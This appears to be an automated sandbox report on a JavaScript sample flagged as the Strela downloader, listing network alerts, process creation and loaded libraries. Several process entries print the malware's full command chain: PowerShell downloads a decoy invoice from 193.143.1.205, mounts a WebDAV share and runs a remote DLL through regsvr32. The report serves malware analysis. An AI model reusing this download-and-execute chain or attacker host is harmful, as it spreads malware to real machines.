Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.12:49710 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: x1.i.lencr.org
Source: global traffic	DNS traffic detected: DNS query: 241.42.69.40.in-addr.arpa

Source: wscript.exe, 00000000.00000002.2583116088.0000026189196000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2582263406.000002618AEA1000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2582297803.000002618AEAF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000003.2642200167.000001CCE3698000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2645828506.000001CCE36AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.2645828506.000001CCE3698000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2642200167.000001CCE3698000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/6
Source: net.exe, 00000007.00000002.2645455914.000001CCE3660000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/temO
Source: svchost.exe, 00000009.00000002.3887579368.000001BA5AA00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod.C:
Source: svchost.exe, 00000009.00000003.2643172733.000001BA5A830000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: ReaderMessages.5.dr	String found in binary or memory: https://www.adobe.co

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 6176, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30594295849541.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30594295849541.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 324865730118751586.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/57@2/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.652

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6464:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xchorb0u.2ma.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\324865730118751586.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30594295849541.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2128 --field-trial-handle=1676,i,15707326224587999435,5952593466761488752,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30594295849541.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2128 --field-trial-handle=1676,i,15707326224587999435,5952593466761488752,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
